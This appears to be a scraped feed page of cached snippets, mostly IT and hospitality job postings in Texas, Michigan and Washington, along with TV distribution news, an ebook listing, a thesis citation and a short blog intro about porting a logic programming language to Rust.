napkin, clean silverware, and any other item that is part of the standard place setting. Check menus to ensure they are current, clean, plentiful, and wrinkle-free. Maintain cleanliness of work areas throughout the day, practicing clean-as-you-go procedures. Monitor dining rooms for seating availability, service, safety, and well being of guests. Follow all company and safety and security policies and procedures; report accidents, injuries, and unsafe work conditions to manager; and complete safety training and certifications. Ensure uniform and personal appearance are clean and professional, maintain confidentiality of proprietary information, and protect company assets. Welcome and acknowledge all guests according to company standards. Speak with others using clear and professional language, and answer telephones using appropriate etiquette. Develop and maintain positive working relationships with others, support team to reach common goals, and listen and respond appropriately to the concerns of other employees. Ensure adherence to quality expectations and standards. Stand, sit, or walk for an extended period of time. Move, lift, carry, push, pull, and place objects weighing less than or equal to 10 pounds without assistance. Perform other reasonable job duties as requested by Supervisors. To apply now, go to: https://jobs.marriott.com/marriott/jobs/19149069?%3Flang=en-us/ Marriott International is consistently recognized as an employer of choice globally by FORTUNE magazine, DiversityInc and Great Places to Work Institute, among others. Visit www.marriott.com/careers to learn more about our workplace culture and career opportunities. Chat, engage and follow us on social media. www.facebook.com/marriottjobsandcareers http://www.instagram.com/marriottcareers @lifeatmarriott on Snapchat So, we ask, where will your journey take you? - Marriott International is an equal opportunity employer committed to hiring a diverse workforce and sustaining an inclusive culture. Marriott International does not discriminate on the basis of disability, veteran status or any other basis protected under federal, state or local laws. ()
          

Executive: Manager, HR Systems - Dallas, Texas

 Cache   
Overview Are you ready to join an organization where you can be a relentless force for a world of longer, healthier lives? Envision all Americans enjoying ideal cardiovascular health free of heart disease and stroke. At the American Heart Association and American Stroke Association, we get to work toward that goal every single day. Is it easy? No. Is it worthwhile? you bet! This is satisfying work that makes a real difference in people's lives. You can achieve professional growth with personal fulfillment. You will connect with people and make a lifesaving impact. You will partner with individuals, schools, lawmakers, healthcare providers and others to ensure everyone has access to healthier lifestyle choices and proper healthcare. Responsibilities The American Heart Association (AHA) has an excellent opportunity for a Manager, HR Systems at our office located in Dallas, TX. In this role, you will be responsible for leading the HR Systems and Ancillary Application team. The HR Systems team works closely with the HRIS Team to support AHAs Workday Platform. Workday Responsibilities include Integrations, BIRT Reporting, Workday Studio and Workday Prism. The Ancillary Applications include 15-20 internal systems used by internal teams that include: HR, Legal, Procurement, Communications, CEO Office and Finance. Systems include SaaS and on-premise applications. Responsible for managing AHA staff and contractors supporting these systems. Includes developers, project managers, quality assurance and business analysts. Also responsible for vendor relationship and involved in contract negotiations for all the various systems supported by the teams. Duties include managing team resources within an agile framework and mentoring the team members in growing their skills and understanding of the systems. Leads technical conversations for problem design and architecture to meet the requirements defined by business. At times, involved with the development team to code out features in Workday Studio and IntelliJ using Java. Here are some of the essential job duties: - Oversees development, configuration, management, support and usage of assigned application systems for AHA business units to meet ongoing technology needs. - Manages associated 3rd party vendor relationships, including ongoing support, contractual and cost reviews. - Leads project scope development with project managers. Communicates project status and time estimates for remaining work on a regular basis to appropriate staff. Prepares project status reports and conducts status meetings, as needed, with the product sponsor(s), business expert(s), user design team and senior management. - Leads the team in problem solving and system design sessions to address business needs and projects and when needed based on changing needs, addresses the design and architecture to ensure successful completion of the projects. - Attracts, develops, coaches and supervises team staff. Manages activities with complete integrity and in accordance with AHA policies, systems, practices and programs. - Participates in Business Technology planning process providing resource allocation information, high-level project estimates and technical guidance to all departments and levels within the organization. Participates in annual budgeting process. Qualifications Want to help get your resume to the top? We are looking for your expertise in the following areas. - A Bachelors degree or equivalent work experience - Minimum five (5) years experience in the related field - Experience in application systems management, configuration or programming - Experience overseeing technology provided through internal platform or Service as a Software (SaaS) vendors - Experience in strategic planning, including the ability to focus on overall strategic goals of the Association and dependencies on the assigned application system. - Experience supervising a team of analysts, developers, or administrators - Comprehensive technical skills with Java, API Methods and system design - Ability to communicate, both verbally and on paper; tailoring the form and method of communications to the needs and perceptions of the recipients - Ability to break complex problems down into simple elements and to solve them logically - Ability to embrace and drive change, as well as remove barriers to change or accelerate the pace of change. - Ability to attract, develop and coach staff. - Strong time management skills with demonstrated experience in managing complex systems Here are some of the preferred experience: - Working Knowledge of Workday HCM Platform - Knowledge of vendor management best practices - Knowledge of Agile development principles Click on New Resume (or Existing Resume if you have previously applied to AHA positions) to submit your online application. Only those deemed most qualified will be contacted to interview. At American Heart Association - American Stroke Association, diversity, inclusion, and equal opportunity applies to both our workforce and the communities we serve as it relates to heart health and stroke prevention. to see other opportunities. Be sure to follow us on Twitter #TheAHALife EOE Protected Veterans/Persons with Disabilities Requisition ID 2019-5186 Job Family Group Business Operations Job Category Information Technologies Location: Dallas, TX ()
          

Engineering: Cloud Engineer - Garland, Texas

 Cache   
Magnataur Consulting is a new entrant into the Cloud Security arena, specializing in delivering cloud governance at scale for our clients. We are looking for ambitious cloud engineers who are interested in using the latest AWS cloud technologies to develop next-gen security services for our clients. 50% Remote 50% Travel Role Paid training, certification, and mentorship opportunities are available for all magnataur employees, both Direct Hires and W2 employees. NOTE: We are hiring for multiple positions, with title & pay commensurate with expereince. Required Skills: 3-5 years of development experience in any programming language 2-3 years of expereince working with AWS technologies Understanding CI/CD concepts Experience with the AWS CLI & GIT commands AWS Certifications and Security Certifications will be required as part of onboarding if not already posessed (Paid by Magnataur) Bonus Skills: AWS Certifications (Solution Architect Professional, Security Specialty, Networking Specialty) Expereince operating in Agile environments Familiarity with security best practices, and standard security frameworks ()
          

Python Data Science: The Bible. The Ultimate Beginner’s Guide to Learn Data Analysis, from the Basics and Essentials, to Advance Content! (Python Programming, Python Crash Course, Coding Made Easy Book)

 Cache   
Название: Python Data Science: The Bible. The Ultimate Beginner’s Guide to Learn Data Analysis, from the Basics and Essentials, to Advance Content! (Python Programming, Python Crash Course, Coding Made Easy Book)
Автор: Mark Solomon Brown
Издательство: Amazon Digital Services LLC
Год: 2019
Страниц: 116
Язык: английский
Формат: epub, pdf (conv)
Размер: 10.16 MB

Do you want to learn Python programming and enter the world of data science and researching? Do you know that you can use the Python programming language for developing mobile applications, video games and also for various scientific researching and data mining? If your answer to these questions is yes, then this Python guide is a perfect match for you, and all you need to do is to keep reading...
          

Professions: Cloud Security Architect - Richardson, Texas

 Cache   
Job Title: -Information Secuirty Engineer Location: -Richardson, Texas Job-Type: -Direct Hire - Position Overview: Gravity is looking for Cloud Security Architect to spearhead our client's software development and security departments supporting Cloud infrastructure and DevSecOps strategies. As a member of the Security team, the individual will have responsibilities in developing and implementing a robust security strategy to secure our cloud infrastructure and cloud-native applications. Our client is an on-line brokerage firm seeking to level the playing field for self-directed investors and traders, empowering them to claim their individual financial edge. Duties & Responsibilities: Assist in developing and maintaining a robust security strategy designed to address risks associated with cloud infrastructures and cloud-native applications Work closely with development teams in the design of cloud native services and infrastructure Review and assess current cloud infrastructures to identify gaps and mitigations Prepare and document policies and standards around cloud security Develop secure cloud practices and educate employees in multiple roles and levels on them Perform research and evaluate security technologies designed to protect cloud infrastructure and cloud-native applications and systems Design and implement guardrails and other controls Build out pragmatic and reusable solutions for security problems Assist with other security related initiatives as they arise Required knowledge & Skills: In this leadership position, abilities such as formulating short and long-term strategies and communicating at all levels (technical, management, executive, etc.) will be required Exceptional understanding of security principles, strategies, and goals Ability to successfully balance and prioritize security needs with other deliverable timelines, budgets, etc. Strong understanding of Linux Kernel-level security threats and mitigations Strong experience with securing Kubernetes at the Pod/Node/Cluster levels including network policy, node to node encryption, mutual TLS, etc. Strong experience in Container Management and DevOps pipeline Strong experience in software development with various programming languages Knowledge of AWS networking (security groups, ACL, etc.), IAM, STS, WAF, Shield and ALB protections Ability to actively assess existing cloud infrastructures to identify gaps and mitigations Thorough understanding of the latest security principles, techniques, and tooling Able to multitask and prioritize in a dynamic environment with continuously shifting priorities Ability to communicate security concepts and issues to peers and management Possess and maintain up-to-date understanding of emerging trends in cloud native security including research of the latest products to combat these threats Strong analytical and problem-solving skills Excellent verbal and written communication skills Demonstrated personal initiative in maintaining a continuous high level of professional knowledge in areas of cloud security Education & Experience: Bachelor's degree in Information Security, Information Systems, or a related field with at least 3 years of experience OR 7 years of demonstrable progressive work in the information security field Experience with cloud security and/or emerging security technologies such as AI-based systems strongly preferred One or more of the following certifications strongly preferred:CISSP (and/or other ISC2 certifications) SANS GIAC certifications CEH, OSCP, or other penetration testing certifications Other industry recognized certifications or accreditations ()
          

Manual Programming

 Cache   
Manual Programming
          

Bradley Programming

 Cache   
Bradley Programming
          

Professions: IT Business Analyst - East Lansing, Michigan

 Cache   
BASIC PERFORMANCE EXPECTATIONS : ITSS Business Analysts are the liaison between business users, the information technology department and/or external clients/vendors. ITSS Business Analysts must have the skills to: apply logical analytical thought to a business issue provide expertise in the modeling/mapping of business processes to deliver as-is/to-be business processes provide input on feasibility of project as to how realistic the requirements are in terms of effort and time identifying what data the business currently has and what data would be necessary for testing be well versed in project management practices and principles have a sound and detailed understanding of application and/or infrastructure technology and principles employ the change management processes manage user expectations ITSS Business Analysts are responsible for analyzing the business needs of their clients and stakeholders to help identify business problems and propose solutions taking requests from a high level in clear and detailed requirements. Under the direction of Project and IT Managers, ITSS Business Analysts work with sponsors and IT teams to develop the overall project vision, collaborate with vendors, partners and subject matter experts to establish the product concept, analyze business and information technology needs and translate them into project requirements along with process changes. They must know, stay abreast of, and effectively use fundamental analytical concepts, industry best practices, and company procedures to ensure the quality and integrity of the technology used by MESSA and to ensure that it meets the stated business objectives. Work includes, but is not limited to, facilitation of meetings, preparing and submitting notes and tasks from facilitated meetings, gathering requirements, documenting requirements, assisting with test planning and test case development, analyzing data requirements for testing, and managing user expectations. ASSIGNED DUTIES : Planning, Scoping and Facilitation Facilitate meetings and lead work sessions. Act as a team lead on designated projects, support issues and associated remediations. Assist in developing project concept requests, feasibilities and project proposals. Assist in the preparation of project documentation. Work independently with subject matter experts and, under the direction of Project and IT Managers, define concepts and technology vision that meets the needs of the project. Identify, estimate and develop schedule of activites and tasks. Work with technology vendors and project managers to plan project logistics and coordinate team tasks. Work with the project team to prepare for project implementations by identifying readiness tasks; conducting regular and daily standup meetings; preparing announcements, maintenance windows, process changes, training, implementation, support plans, etc. As needed, develop contingency and disaster recovery plans in order to maintain operations during downtime and/or major disasters. Test such plans with various operational and support groups within the organization. As needed, assist in technical project portfolio planning, maintenance and reporting. Requirements Elicitation, Analysis, Management and Communication Elicit, gather and maintain business, functional or technical requirements using contemporary techniques such as product backlog, user stories, persona development, requirements or traceability matrices. Facilitate the negotiation of requirements amongst multiple stakeholders. Create, analyze and validate detailed functional specifications. Facilitate design sessions with the implementation team to define solutions. Identify and document elements of system design, including data migration rules, business rules, wireframes, mockups, report specifications or other detailed deliverables. Identify and document current and future state business processes. Document business needs, capability gaps, proposed workflows and solutions. Help business stakeholders envision the future and how their work will need to change to support the future. As needed, design, create, deploy and maintain processes and procedures. Communications Proactively communicate and collaborate with vendors, partners and internal clients. Maintain positive working relationships with internal and external clients. Risk Identification, Analysis and Response Planning Identify issues, risks and scope creep with potential solutions and submit them to the IT or Project Manager. Coordinate with project teams, vendors, partners and business units to address interdependencies and resolve issues. Solution Assessment, Quality Planning, Testing and Validation Develop, execute or oversee the development and execution of test plans, test cases, use cases and user acceptance testing for complex systems. Analyze data needs for testing of vast systems for all areas of the business. Extract and prepare test data as needed. Verify requirements and acceptance criteria are addressed. Track and address pre and post release defects. Develop and execute or oversee the development and execution of training documents and "train the trainer" - sessions. Mentor team members on all of the above items. Perform other job-related duties as assigned. MINIMUM REQUIREMENTS : Bachelor's Degree in computer information systems, computer science, business, or related field OR an associates degree in a information technology related field and two years of related and progressively more responsible or expansive work experience in the information technology field. In addition to the above, a minimum of three years experience as a Business Analyst working in four or more of the following areas - major system implementation, business process improvement, programming, systems support, business case development and analysis, software testing, and project management. Demonstrated interpersonal skills, written and oral communication skills, meeting facilitation skills, and interviewing skills. Demonstrated ability to communicate efficiently and effectively with a wide range of personnel (users, IT staff, and vendors). Demonstrated conflict resolution/negotiation skills. Demonstrated experience with systems development lifecycle (SDLC), gathering and documenting requirements, documenting existing systems and/or processes, documenting to be systems and/or processes, test planning, test case development, use case development, collect and analyze metrics, project management and change management concepts, risk management, relational database concepts. Demonstrated creative problem solving skills. Demonstrated ability to multi-task, and address multiple projects concurrently. Demonstrated excellent time management skills TESTING: Information Technology Terminology Proficient Software Business Analysis Proficient Software Testing Proficient Business Communication Proficient Project Management Proficient ()
          

IT / Software / Systems: Programmer Analyst - East Lansing, Michigan

 Cache   
BASIC PERFORMANCE EXPECTATIONS: Work involves programming and system analysis on one or more major computer systems, alone or as a member of a team. Work involves meeting with the end user of the system and supervisors to understand problems, designing and documenting solutions and plans to execute that solution, including estimating the time it will take to complete the solution. The work requires developing an approach for the solution that best meets the goals of the assignment, runs efficiently in the computing environment and can be efficiently maintained. Work includes implementing the approach within the team and providing timely and accurate updates as to the status of the completion of the project. Work includes developing and adhering to affiliate or project IT standards and procedures. Work requires keeping up with new developments in the field of computing, particularly as they are identified for the assigned affiliate. Specifically, this position is responsible for learning and using new languages, approaches to programming, testing, databases, utilities, operating systems, or hardware as needed to complete assignments. Assignment may pertain to the areas of architecture, business intelligence, quality assurance, web technologies or application support. This job requires the ability to establish and maintain effective working relationships with members and leaders, as well as staff and management. ASSIGNED DUTIES: Application Development: -- Analyze, design, develop, document, test, implement and maintain applications. Examples of applications include those that are developed in-house, externally or hosted; interfaces between systems, mobile platforms and third-party packages. Design, develop and maintain application databases. Provide database administration support. esearch and evaluate solutions for the design of computer applications. Participate in feasibility studies. Review business specifications and jointly determine requirements to address changing business needs. Present and document possible solutions based on both business and technical considerations taking into account factors such as functionality, business logic, usability and user experience, to subject matter experts, end users and management. Develop specifications for programs and answer questions related to technology on new systems or system enhancements. Provide training and guidance to ITSS team members, end users and managers on the use of applications. Quality Assurance and Testing: -- Develop testing strategies to ensure quality and usability of applications. Perform all testing required to ensure the system delivered to the user meets the user's expectations and specifications. Unit test applications or automate tests according to specifications and acceptance criteria to ensure quality of applications. Participate in code reviews, retrospectives and recommend changes for improvement. Provide testing assistance to end users and managers as needed to ensure testing is thorough and reduces the risk of errors or disruptions to other end users, members and outside vendors. Additionally: -- Work collaboratively with team members and clients. -- Participate in the evolution of best practices, standard, methodologies and policies as it relates to software development. -- Maintain records of time spent on assigned tasks and provide information as required for payroll and other administrative purposes. Orient and mentor new or less experienced team members. Prepare and make presentations on various IT related topics to other staff members. Acquire knowledge of the terminology and services of the affiliate(s). Represent the affiliate(s) at assigned IT user group meetings and conferences. Perform other job-related duties as assigned from time to time. MINIMUM QUALIFICATIONS: Education and experience Bachelor degree in computer science or information systems, or Bachelor degree and formal study in computer science including programming, systems development, database theory, and application development and two years of recent programming experience, or Associate degree in computer programming, information systems or equivalent and four years of recent programming experience including, but not limited to structured programming or object oriented applications and web development. Knowledge of current hardware, software, operating systems, databases, languages, and utilities. Demonstrated ability to design, develop, test, document, and support computer applications. Ability to communicate tactfully, courteously, and effectively. Self-motivated with a willingness to research and learn multiple languages and architectures. Ability to work collaboratively in team settings. ()
          

Professions: Programmer Analyst - East Lansing, Michigan

 Cache   
BASIC PERFORMANCE EXPECTATIONS: Work involves programming and system analysis on one or more major computer systems, alone or as a member of a team. Work involves meeting with the end user of the system and supervisors to understand problems, designing and documenting solutions and plans to execute that solution, including estimating the time it will take to complete the solution.--The work requires developing an approach for the solution that best meets the goals of the assignment, runs efficiently in the computing environment and can be efficiently maintained.--Work includes implementing the approach within the team and providing timely and accurate updates as to the status of the completion of the project. Work includes developing and adhering to affiliate or project IT standards and procedures. Work requires keeping up with new developments in the field of computing, particularly as they are identified for the assigned affiliate.--Specifically, this position is responsible for learning and using new languages, approaches to programming, testing, databases, utilities, operating systems, or hardware as needed to complete assignments. Assignment may pertain to the areas of architecture, business intelligence, quality assurance, web technologies or application support. This job requires the ability to establish and maintain effective working relationships with members and leaders, as well as staff and management. ASSIGNED DUTIES: Application Development: -- Analyze, design, develop, document, test, implement and maintain applications. Examples of applications include those that are developed in-house, externally or hosted; interfaces between systems, mobile platforms and third-party packages. Design, develop and maintain application databases. Provide database administration support. esearch and evaluate solutions for the design of computer applications.--Participate in feasibility studies. Review business specifications and jointly determine requirements to address changing business needs. Present and document possible solutions based on both business and technical considerations taking into account factors such as functionality, business logic, usability and user experience, to subject matter experts, end users and management. Develop specifications for programs and answer questions related to technology on new systems or system enhancements. Provide training and guidance to ITSS team members, end users and managers on the use of applications. Quality Assurance and Testing: -- Develop testing strategies to ensure quality and usability of applications. Perform all testing required to ensure the system delivered to the user meets the user's expectations and specifications. Unit test applications or automate tests according to specifications and acceptance criteria to ensure quality of applications. Participate in code reviews, retrospectives and recommend changes for improvement. Provide testing assistance to end users and managers as needed to ensure testing is thorough and reduces the risk of errors or disruptions to other end users, members and outside vendors. Additionally: -- Work collaboratively with team members and clients. -- Participate in the evolution of best practices, standard, methodologies and policies as it relates to software development. -- Maintain records of time spent on assigned tasks and provide information as required for payroll and other administrative purposes. Orient and mentor new or less experienced team members. Prepare and make presentations on various IT related topics to other staff members. Acquire knowledge of the terminology and services of the affiliate(s). Represent the affiliate(s) at assigned IT user group meetings and conferences. Perform other job-related duties as assigned from time to time. MINIMUM QUALIFICATIONS: Education and experience Bachelor degree in computer science or information systems, or Bachelor degree and formal study in computer science including programming, systems development, database theory, and application development and two years of recent programming experience, or Associate degree in computer programming, information systems or equivalent and four years of recent programming experience including, but not limited to structured programming or object oriented applications and web development. Knowledge of current hardware, software, operating systems, databases, languages, and utilities. Demonstrated ability to design, develop, test, document, and support computer applications. Ability to communicate tactfully, courteously, and effectively. Self-motivated with a willingness to research and learn multiple languages and architectures. Ability to work collaboratively in team settings. ()
          

IT / Software / Systems: Research Programmer - East Lansing, Michigan

 Cache   
BASIC PERFORMANCE EXPECTATIONS: This position involves programming and system analysis on one or more major computer systems, alone or as a member of a team. Work involves meeting with the end user of the system and supervisors to understand problems and designing and documenting solutions and plans to execute that solution, including estimating the time it will take to complete the solution. The work requires developing an approach for the solution that best meets the goals of the assignment, runs efficiently in the computing environment and can be efficiently maintained. This position includes implementing the approach within the team and providing timely and accurate updates as to the status of the completion of the project. This position includes developing and adhering to affiliate or project IT standards and procedures. The incumbent is required to keep up with new developments in the field of computing, particularly as they are identified in the IT Master Plan for the assigned affiliate. Specifically, this position is responsible for learning and using new languages, approaches to programming, databases, utilities, operating systems or hardware as needed to complete the tasks. This position requires the ability to establish and maintain effective working relationships with members and leaders, as well as staff and management. ASSIGNED DUTIES: Learn, improve and program a Proposal Cost Calculator for K-12 and ESP local bargaining. Fix bugs and errors in all research and bargaining department platforms. Upload relevant contract information to MEA profiles. Learn and improve the current financial analysis applications available to field staff. Develop and maintain new computer based programs for the Research and Bargaining department. Learn, maintain and improve the contracts database. Develop and maintain platform for the Cost Alignment Calculator. Create out-of-formula financial analysis. Learn, maintain and improve MEA Profiles including a new profile for Higher Ed units. Create ISD, Higher Ed and Community College Financial Analysis platform. Provide secretarial support on Microsoft Office for research and bargaining professional staff. Program new salary schedule transition generator. Develop methods for data extraction and analysis. Program and maintain insurance cost comparison platform. Research and maintain database of employer contributions to healthcare. Perform all testing required to ensure the system delivered to the user meets the user's expectations and specifications. Responsible for project management and the delivery of a project. Meet with users as necessary to develop requirements and understand specifications for programs, provide training on new systems or system enhancements and answer questions related to technology. Perform other programming duties as assigned by Research department staff. MINIMUM QUALIFICATIONS: Education and experience: Bachelor degree in computer science or information systems, or Bachelor degree and formal study in computer science including programming, systems development, database theory and application development and two years of recent programming experience, or Associate degree in computer programming, information systems or equivalent and four years of recent programming experience including, but not limited to, structured programming or object oriented applications and WEB development. Knowledge of current hardware, software, operating systems, databases, languages and utilities. Demonstrated ability to develop and maintain various platforms. Proficient with Microsoft Access, Excel, PowerPoint and Word. Ability to review and analyze complex data. Ability to communicate tactfully, courteously and effectively. TESTING MS Word 70%MS Excel 70% ()
          

Other: Research Programmer - East Lansing, Michigan

 Cache   
BASIC PERFORMANCE EXPECTATIONS: This position involves programming and system analysis on one or more major computer systems, alone or as a member of a team. Work involves meeting with the end user of the system and supervisors to understand problems and designing and documenting solutions and plans to execute that solution, including estimating the time it will take to complete the solution. The work requires developing an approach for the solution that best meets the goals of the assignment, runs efficiently in the computing environment and can be efficiently maintained. This position includes implementing the approach within the team and providing timely and accurate updates as to the status of the completion of the project. This position includes developing and adhering to affiliate or project IT standards and procedures. The incumbent is required to keep up with new developments in the field of computing, particularly as they are identified in the IT Master Plan for the assigned affiliate. Specifically, this position is responsible for learning and using new languages, approaches to programming, databases, utilities, operating systems or hardware as needed to complete the tasks. This position requires the ability to establish and maintain effective working relationships with members and leaders, as well as staff and management. ASSIGNED DUTIES: Learn, improve and program a Proposal Cost Calculator for K-12 and ESP local bargaining. Fix bugs and errors in all research and bargaining department platforms. Upload relevant contract information to MEA profiles. Learn and improve the current financial analysis applications available to field staff. Develop and maintain new computer based programs for the Research and Bargaining department. Learn, maintain and improve the contracts database. Develop and maintain platform for the Cost Alignment Calculator. Create out-of-formula financial analysis. Learn, maintain and improve MEA Profiles including a new profile for Higher Ed units. Create ISD, Higher Ed and Community College Financial Analysis platform. Provide secretarial support on Microsoft Office for research and bargaining professional staff. Program new salary schedule transition generator. Develop methods for data extraction and analysis. Program and maintain insurance cost comparison platform. Research and maintain database of employer contributions to healthcare. Perform all testing required to ensure the system delivered to the user meets the user's expectations and specifications. Responsible for project management and the delivery of a project. Meet with users as necessary to develop requirements and understand specifications for programs, provide training on new systems or system enhancements and answer questions related to technology. Perform other programming duties as assigned by Research department staff. MINIMUM QUALIFICATIONS: Education and experience: Bachelor degree in computer science or information systems, or Bachelor degree and formal study in computer science including programming, systems development, database theory and application development and two years of recent programming experience, or Associate degree in computer programming, information systems or equivalent and four years of recent programming experience including, but not limited to, structured programming or object oriented applications and WEB development. Knowledge of current hardware, software, operating systems, databases, languages and utilities. Demonstrated ability to develop and maintain various platforms. Proficient with Microsoft Access, Excel, PowerPoint and Word. Ability to review and analyze complex data. Ability to communicate tactfully, courteously and effectively. TESTING MS Word 70% MS Excel 70% ()
          

Professions: Post Mast Research Associate Environmental Data Analyst - Richland, Washington

 Cache   
Education - Master's Degree Skills - SQL - Excel - R - Data Analysis Skills - GIS Organization and Job ID Job ID: ****** Directorate: Energy and Environment Division: Earth Systems Science Group: Ecology Job Description This is a position in the Ecology Group at Pacific Northwest National Laboratory (PNNL). The successful candidate will participate in various projects where analysis of environmental data is required. Applicants should have a strong background in environmental science, data analysis using statistical techniques, and programming. Responsibilities include data processing and analysis, and report writing Minimum Qualifications Candidates must have received a Master's degree within the past 24 months or within the next 8 months from an accredited college or university. Minimum overall GPA of 3.0 required. Preferred Qualifications The candidate will have a master's degree in environmental science, biology, fisheries, computer science, math, or a related field. Experience with managing data (MS Excel, SQL), analyzing data (programming), and writing (e.g. reports, publications, thesis) is required. The ability to work well both independently and in a team setting is necessary. Experiences in spatial data analysis (GIS) is appreciated. The candidate will have a master's degree in environmental science, marine biology/ecology, fisheries science, computer science, math, or a related field. Preference will be given to candidates who have experience using R and/or Python. Equal Employment Opportunity Battelle Memorial Institute (BMI) at Pacific Northwest National Laboratory (PNNL) is an Affirmative Action/Equal Opportunity Employer and supports diversity in the workplace. All employment decisions are made without regard to race, color, religion, sex, national origin, age, disability, veteran status, marital or family status, sexual orientation, gender identity, or genetic information. All BMI staff must be able to demonstrate the legal right to work in the United States. BMI is an E-Verify employer. Learn more at *************. Please be aware that the Department of Energy (DOE) prohibits DOE employees and contractors from participation in certain foreign government talent recruitment programs. If you are offered a position at PNNL and are currently a participant in a foreign government talent recruitment program you will be required to disclose this information before your first day of employment. Directorate: Energy & Environment Job Category: Post-Graduates and Post-Docs Group: Ecology Opening Date: 2019-11-21 Closing Date: 2020-01-05 ()
          

Microworlds, Poetry and Programming: Block-Based Programming for Literacy and Computational Thinking in Secondary Education in Wales

 Cache   

Microworlds, Poetry and Programming: Block-Based Programming for Literacy and Computational Thinking in Secondary Education in Wales

Author: Jenkins , C., Jan 2018

Supervisor: Pugh, C. (Supervisor)

Student thesis: Doctoral Thesis

Original languageEnglish
Awarding Institution
Supervisors/Advisors
  • Ceri Pugh (Supervisor)
Award dateJan 2018

          

Christmas TV guide 2019: Where and when you can find holiday shows, from Hallmark movies to 'Grinch'

 Cache   
Here's a list of holiday television programming, from Thanksgiving Day through New Year's Day.
       

          

Silencing retroviruses to awaken cell potential

 Cache   
IMAGE
Researchers led by a team from the University of Tsukuba identify a protein that suppresses retroviruses in the human genome, allowing the reprogramming of somatic cells to unlock their hidden potential Credit: University of Tsukuba Tsukuba, Japan – Embryonic stem cells have the potential to differentiate into any type of cell in the human body. […]
          

Viu, Discovery team on factual, lifestyle programming

 Cache   
Viu, Discovery team on factual, lifestyle programming Details Joseph O'Halloran | 29 November 2019 PCCW Media Group’s OTT service Viu has embarked on a collaboration with content giant Discovery to bring factual and lifestyle entertainment content to digital audiences in Southeast Asia. The deal will see Viu subscribers gain access to Discovery Networks Asia Pacific channels on an on-demand basis, including Discovery, Discovery Asia, Animal Planet, Food Network, TLC and HGTV. Such channels offer genres such as lifestyle content, reality content and docuseries. The content will be available in six markets, including Hong Kong, Indonesia, Malaysia, the Philippines, Singapore, and Thailand. Viu subs will also have access to Asian Food Network content. Content will be in English, Bahasa Melayu, Bahasa Indonesia, Traditional Chinese, and Thai subtitles per as-available basis. Commenting on the deal, Viu chief executive officer Janice Lee said: “Having firmly established a highly engaged user base in the past few years, our collaboration with Discovery marks a further step in the continual expansion of our offerings to enrich the content experience for our viewers through international and regional collaborations as well as through the development of Viu Original. With Discovery we see the opportunity to offer top quality factual and lifestyle entertainment, including travel, lifestyle and living, that resonates with a broad spectrum of our audience on the Viu platform.” Discovery Networks Asia Pacific vice president and general manager Anna Pak Southeast added: “We are excited to partner with Viu and expand the reach of our brands to digital audiences. With its large and growing fanbase, Viu is an obvious partner as a leading OTT platform in APAC and our partnership will bring new business opportunities to Discovery. “Our earlier collaboration with Viu on No Sleep No FOMO provided us with a deeper understanding of Viu’s expanding user base across the region and the high-quality service it provides. This is particularly important to us as a premium brand and our efforts to offer our modernised Asian Food Network content to a broader
          

Insight TV extends footprint in Switzerland

 Cache   
Insight TV extends footprint in Switzerland Details Editor | 29 November 2019 In a move that broadens the reach of the 4K Ultra HD/HDR broadcaster, content creator and format seller in a key territory, Insight TV has launched on Swiss cable operator UPC. Subscribers of the Liberty Global-owned operator can now access a line-up of shows in 4K Ultra HD including the series Street Kings in Jail, the recently launched eSports show Modern Day Gladiators as well as Ghost Chasers: Exploring the Other Side featuring YouTube stars and urban explorers Josh and Cody, which will premier in 2020. Commenting on the deal with Insight TV, UPC content director Pascal Amrein said: “We are delighted to offer Insight TV’s shows to our subscribers. Insight TV’s high-quality content combines epic storytelling and the best talent. This is a great addition to our programming.” Insight TV commercial director Graeme Stanley added: “We are very excited about this launch. UPC is the largest cable operator in Switzerland making it the ideal partner to feature our vivid content. This launch demonstrates our commitment to Switzerland and our continued expansion across Europe. With this launch, Insight TV is now available across all major platforms in Switzerland including Swisscom, Salt and Sunrise.”
          

Claro Brazil adds Chinese TV channel CGNT with contents in English to its programming grid

 Cache   
Claro Brasil added a new channel to its programming grid this week. This is CGTN, which can be accessed on channels 199 and 699 (both in SD). The offer is valid for subscribers to the operator’s fiber, cable and satellite service. CGNT is a Chinese TV channel and its programming is offered totally in English. [...]
          

SAWA signs agreement for distribution of NHK World-Japan in Mena

 Cache   
SAWA Rights Management FZ, an aggregator of TV channels and a content service provider, has signed an agreement for the commercial distribution of NHK World-Japan in the Mena region. NHK World Japan’s 24-hour programming cycle includes its flagship news program, NHKNewslinealong, which features technology, entertainment and lifestyle programs such as Outstanding Equipment, Dining with the [...]
          

Chilean FTA TV channel La Red launches its new OTT

 Cache   
The Chilean FTA TV channel La Red announced the launch of its OTT “La Red Play”, with its  main contents and its live TV network, compatible with Chromecast. Contents that make up the OTT offer are the TV programs that are part of La Red’s programming grid, such as Asi somos, Hola Chile, Intrusos Ciudadano, [...]
          

NBCUniversal, Inc.: Director, Customer Base Growth Forecasting & Strategy, Peacock, DTC

 Cache   
competitive: NBCUniversal, Inc.: Introducing Peacock, NBCUniversal’s new streaming service that combines timeless shows and movies, exclusive originals, kids programming and curre New York, New York
          

NBCUniversal, Inc.: Sr. Manager, Experimentation & Testing: Peacock, Direct-to-Consumer

 Cache   
competitive: NBCUniversal, Inc.: Introducing Peacock, NBCUniversal’s new streaming service that combines timeless shows and movies, exclusive originals, kids programming and curre New York, New York
          

Mt4 Protrader | "all-in-one" Multi-indicator And Trading Tool)

 Cache   
Hybrid Indicator / EA For Both Manual And Automated Trading. Analyze Your Charts, Know The Current Trend Across 7 Timeframes, 1-click Trading, Monitor World Market Sessions, Develop Custom Strategies Easily Without Any Programming Knowledge & Much More.)
          

Hilbert's rusty hotel

 Cache   

A couple of years ago, I created a programming language. It was an attempt to make an extremely minimal logic programming system, with almost no built-in functionality other than the ability to do first-order logic, for the purposes of following the formalism in some more maths-driven textbooks. Recently, having learned Rust, I thought it would be a good exercise to port this language, originally written in Ruby, as I believe building it in Rust will result it significant performance wins and help make it more usable.


          

Professions: Social Media Production Assistant - Culver City, California

 Cache   
